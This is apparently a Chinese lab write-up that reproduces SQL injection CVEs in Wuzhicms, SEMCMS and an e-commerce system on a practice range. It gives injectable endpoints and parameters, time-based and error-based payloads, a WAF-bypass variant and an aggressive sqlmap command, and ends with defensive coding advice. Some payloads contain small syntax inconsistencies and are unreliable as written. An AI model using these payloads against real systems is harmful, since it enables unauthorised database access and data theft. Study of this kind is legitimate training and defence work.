春秋云镜-多CVE实战:从Wuzhicms到SEMCMS的SQL注入漏洞复现与手法解析
1. 从零理解SQL注入漏洞的本质
SQL注入(SQL Injection)是Web安全领域最常见也最危险的漏洞类型之一。简单来说,就是攻击者通过构造特殊的输入数据,欺骗后端数据库执行非预期的SQL命令。这就像你去银行柜台办理业务,原本应该说"我要取100元",但有人故意说"我要取100元;再把所有钱转到我账户",如果银行系统没有严格检查语句结构,就会发生严重问题。
在实际渗透测试中,SQL注入的危害主要体现在三个方面:
- 数据泄露:获取数据库中的敏感信息,如用户密码、个人信息
- 数据篡改:修改或删除数据库内容
- 权限提升:通过数据库特殊函数获取服务器控制权
我遇到过最典型的案例是一个电商网站,因为搜索功能未做参数过滤,导致攻击者可以通过注入获取所有用户数据。下面这段代码展示了最基础的注入原理:
// 危险示例:直接拼接用户输入到SQL语句 $username = $_POST['username']; $sql = "SELECT * FROM users WHERE username = '$username'";当用户输入admin' OR '1'='1时,实际执行的SQL会变成:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'这就导致查询条件永远为真,返回所有用户数据。
2. Wuzhicms漏洞深度解析(CVE-2023-52064)
2.1 漏洞环境搭建与复现
Wuzhicms v4.1.0的注入点位于/core/admin/copyfrom.php文件的$keywords参数。我们先在春秋云镜靶场搭建测试环境:
- 访问后台登录页:
www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms - 使用默认凭证admin/admin123登录
- 使用Burp Suite拦截请求,找到包含
keywords参数的POST请求
关键注入payload如下:
POST /core/admin/copyfrom.php HTTP/1.1 keywords=test' AND (SELECT 1 FROM (SELECT SLEEP(5))x)--这个时间盲注payload会让数据库休眠5秒,通过响应时间即可判断注入是否成功。我在实际测试中发现,该CMS对关键词搜索功能完全没有做参数过滤,导致可以直接执行任意SQL。
2.2 自动化利用与防御方案
使用sqlmap可以自动化利用这个漏洞:
sqlmap -u "http://target/core/admin/copyfrom.php" --data="keywords=test" --level=5 --risk=3 --technique=T开发层面应该采取的防御措施:
- 使用预编译语句(PDO或mysqli_prepare)
- 严格限制数据库用户权限
- 对管理后台增加二次认证
3. SEMCMS漏洞实战(CVE-2023-50563)
3.1 漏洞定位与利用
SEMCMS v4.8的注入点比较隐蔽,位于后台商品管理的批量操作功能中:
- 登录后台(默认admin/admin)
- 进入商品管理→批量上架
- 拦截请求找到AID参数
这个漏洞的特殊之处在于参数是通过JSON格式传递的,需要构造特殊payload:
{"AID":"1' AND (SELECT 1 FROM (SELECT SLEEP(5))) AND '1'='1"}3.2 高级注入技巧
由于存在基础过滤,我们需要绕过技巧:
- 使用
/**/替代空格 - 用
CHAR()函数替代引号 - 分块注入避免触发WAF
实测有效的payload:
POST /admin/ajax.php HTTP/1.1 {"AID":"1'/**/AND/**/(SELECT/**/1/**/FROM/**/(SELECT/**/SLEEP(5)))AND/**/'1'='1"}4. 电商系统漏洞合集分析
4.1 CVE-2023-7107用户注册漏洞
这个电商系统1.0版本在用户注册时存在多个注入点:
- firstname
- middlename
- contact等参数
利用步骤:
- 访问/pages/user_signup.php
- 填写测试数据并拦截请求
- 在任意参数插入注入代码
延时注入payload示例:
test' AND (SELECT COUNT(*) FROM information_schema.tables)>0 AND SLEEP(5)--4.2 CVE-2023-7106产品详情漏洞
产品详情页的prod_id参数存在注入:
GET /pages/product_details.php?prod_id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--这个报错注入可以直接显示数据库结构信息。
5. 防御体系建设实战建议
根据多年渗透测试经验,我总结出企业级防御方案:
输入验证:
- 白名单验证(如只允许字母数字)
- 类型强制转换(如intval())
安全编码:
// 安全示例:使用预处理语句 $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$input]);WAF配置:
- 拦截常见SQL关键字
- 限制特殊字符频率
- 设置请求速率限制
监控与响应:
- 记录异常SQL查询
- 实时报警机制
- 定期漏洞扫描
在实际项目中,我曾帮一个客户从零构建防御体系,通过组合使用预处理语句、最小权限原则和RASP技术,成功将SQL注入风险降低99%。关键是要建立纵深防御,而不是依赖单一解决方案。
